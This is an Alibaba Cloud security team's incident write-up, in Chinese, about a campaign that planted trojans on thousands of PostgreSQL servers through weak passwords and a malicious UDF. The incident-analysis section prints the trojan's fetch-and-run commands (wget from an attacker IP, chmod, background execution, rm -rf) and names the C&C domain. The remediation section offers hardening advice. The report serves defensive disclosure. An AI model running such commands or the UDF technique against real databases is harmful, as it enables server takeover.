态势感知将DDOS扼杀在摇篮中:涉及数千台PostgreSQL服务器-阿里云开发者社区

开发者社区> 云破> 正文

态势感知将DDOS扼杀在摇篮中:涉及数千台PostgreSQL服务器

简介:
+关注继续查看

0x00 前言

       近日,云盾的态势感知系统成功捕获到一起利用PostgreSQL弱口令批量植入木马的事件。本文将分享我们对此次事件的追踪过程,从攻击方式,用到的工具,到攻击的范围,还原整个攻击事件。

0x01 发现

       2015年11月27日星期五,云盾态势感知系统产出了一条异常的告警,团队成员立即对告警进行响应。通过告警信息定位到了传播源。

1a685b704501d634c40e0fc51d92fb213f4ea644

       我们发现该传播源为一个HFS文件服务器:

d39dad961e70d7e76ef071870de3ce421f27b02a

       在HFS服务器中,发现了黑客用来批量扫描漏洞和自动攻击的程序:ps.exe和pexec.exe。下载到本地进行分析之后,判定此工具为针对PostgreSQL数据库的自动化攻击程序。程序使用了C#编写,ps.exe负责扫描PostgreSQL服务弱口令,将扫描结果通过web接口记录到文件:

ad821ff413cb4e971a6195513a36cdbb7a63253f

       黑客将扫描到弱口令的IP列表导入到pexec.exe,程序会首先判断服务器PostgreSQL的版本,通过SQL写入对应的/tmp/testproxy.so文件,然后创建名为exec111的UDF函数,最后通过UDF执行恶意指令。有趣的是,我们在利用程序中并发现没有针对windows版本的postgresql进行利用的代码,说明黑客的程序还是一个半成品。下面是针对linux下PostgreSQL 9.3版本的部分利用代码:

1284fbe0e95d98c3761a1cde4738603dce35747b

       在两个程序中,作者都写入了对硬件CPU ID的判断,程序仅允许在指定机器运行,但是作者却没对程序代码做混淆和加壳。

f1e08b36ba0f54536cb3c27b8f2e28b9ff2ee717

       在攻击者HFS上,我们还发现了攻击者已经扫描到的PostgreSQL弱口令和利用成功的IP列表:

9a0b8b54b496ca1fa37b6b8ad97cbe23cde7caab

0315490c4ada7b23b3b0074f4d2b75943e4d5724

       经过我们统计,这份数据里包含了被植入木马的2626个IP地址,以及刚扫描出的1217台存在弱口令的PostgreSQL服务器IP地址。

       进一步对攻击者植入的UDF程序进行逆向分析,发现该UDF执行了如下命令:

wget -P /tmp/ http://211.115.116.198:1234/testproxy -O /tmp/testproxy
chmod 777 /tmp/testproxy
/tmp/testproxy > testtmp &
rm -rf ./testproxy

       testproxy是真正的木马程序,启动后会尝试解析baby0119.com域名,并连接其80端口,等待C&C发送指令并执行。

0x02 攻击链路还原

  • 黑客通过ps.exe程序,全网扫描存在弱口令和空口令的PostgreSQL服务器并将IP保存。
  • 利用PostgreSQL pg_largeobject的特性,对漏洞主机发起攻击:将恶意udf分段写入PosrgreSQL表中,并导出实体文件到: /tmp/testproxy.so
  • 从/tmp/testproxy.so导入恶意代码,创建UDF函数并执行,下载恶意文件传播源(HFS服务器)上的testproxy木马并运行。
  • 木马启动后会尝试连接baby0119.com域名的 80端口,等待C&C发送指令。

0x03 漏洞影响

       攻击者扫描全网存在弱口令和空口令的PostgreSQL数据库主机,通过UDF函数植入木马,通过木马程序,攻击者可以控制受害机器发起恶意行为。阿里云云盾态势感知系统在27日第一时间发现该威胁,截止本文终稿,还并未发现木马C&C服务器开放和发送指令,我们推测攻击者还处于批量“抓鸡”阶段,还没有来得及开始利用这个木马进行攻击

  • 0x04影响范围

           我们针对全国开放5432端口的服务器进行了详细的探测,发现有19554台服务器运行着PostgreSQL服务,其中可以通过弱口令登录PostgreSQL的服务器有1353台。按地区分布数量进行排名,第一位是台湾,浙江、北京排在第二、三位。

    90f355abaa3851d2fca27516b9d14914be6b09bf

            在分析PostgreSQL弱口令的过程中,我们注意到了PostgreSQL的一个特性,即“信任IP登录”。在pg_hba.conf文件中,如果把某个IP段的auth-method字段配置为“trust”,意味着在该IP段下不需要任何验证即可访问数据库中所有数据。对上述1353台存在弱口令的服务器进行深入分析,我们发现超过50%的PostgreSQL对所有IP都开启了“trust”模式,这些服务器都存在极大的安全风险!

    98924e869435eaa03243501eb9e47c6b7d0b0a9f

    0x05 修复建议:

    1. 禁止postgresql以root权限运行,建议使用独立帐号运行

    adduser dbuser

    sudo su – dbuser

    1. 修改数据库帐号为强密码,例如

    alter user postgres with password ‘aliyunSecurity1234*_*’;

    1. 检查PostgreSQL配置文件conf中是否存在:host all all 0.0.0.0/0 trust ,建议修改为使用密码认证。
    1. 查看是否存在恶意UDF函数

    select proname,prosrc from pg_proc where proname = ‘exec111’;

    1. 查看是否存在可疑UDF函数,查看哪些函数不是系统预设的、或者管理员自己添加的

    select proname,prosrc from pg_proc;

    1. 查看是否存在可疑存储过程

    select tgrelid from pg_trigger;

    1. 检查自己服务器是否存在/tmp/testproxy.so文件

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
阿里云服务器怎么设置密码?怎么停机?怎么重启服务器?
如果在创建实例时没有设置密码,或者密码丢失,您可以在控制台上重新设置实例的登录密码。本文仅描述如何在 ECS 管理控制台上修改实例登录密码。
4068 0
阿里云服务器端口号设置
阿里云服务器初级使用者可能面临的问题之一. 使用tomcat或者其他服务器软件设置端口号后,比如 一些不是默认的, mysql的 3306, mssql的1433,有时候打不开网页, 原因是没有在ecs安全组去设置这个端口号. 解决: 点击ecs下网络和安全下的安全组 在弹出的安全组中,如果没有就新建安全组,然后点击配置规则 最后如上图点击添加...或快速创建.   have fun!  将编程看作是一门艺术,而不单单是个技术。
4485 0
开发者论坛一周精粹(第二十四期) 服务器天天被DDOS怎么办?
在过了双11,双12之后相信大家都通过达人的薅羊毛攻略撸了不少的阿里云产品,这周的热点话题大多是服务器基础性话题,话题内热心会员和版主的答复十分的有料。
1448 0
阿里云服务器申请DDoS基础防护及常见问题
阿里云服务器为了能够更好的保护好每一个用户的云安全。提供免费的DDos防护——DDos基础防护。能够提供最高(默认)5G的防护能力,同时 阿里云服务器推出了安全信誉防护联盟计划,将基于安全信誉分进一步提升 DDoS 防护能力,用户最高可获得 100G 以上的免费 DDoS 防护资源。
2724 0
云服务器被DDoS攻击?如何缓解DDoS攻击?
很多企业长期遭受DDoS攻击,尤其是棋牌类、金融业等企业。目前攻击成本太低,造成很多企业要长期面对竞争对手或者其他组织个人的的DDoS攻击。想要改变这种局面,可以选择购买 阿里云DDoS高防IP,但是价格又太贵,那么如何缓解DDoS攻击呢?
916 0
阿里云容器服务--配置自定义路由服务应对DDOS攻击
容器服务中,除了slb之外,自定义路由服务(基于HAProxy)也可以作为DDOS攻击的一道防线,本文阐述了几种方法来应对普通规模的DDOS攻击
4854 0
+关注
7
文章
0
问答
来源圈子
更多
让上云更放心,让云上更安全。
+ 订阅
文章排行榜
最热
最新
相关电子书
更多
文娱运维技术
立即下载
《SaaS模式云原生数据仓库应用场景实践》
立即下载
《看见新力量:二》电子书
立即下载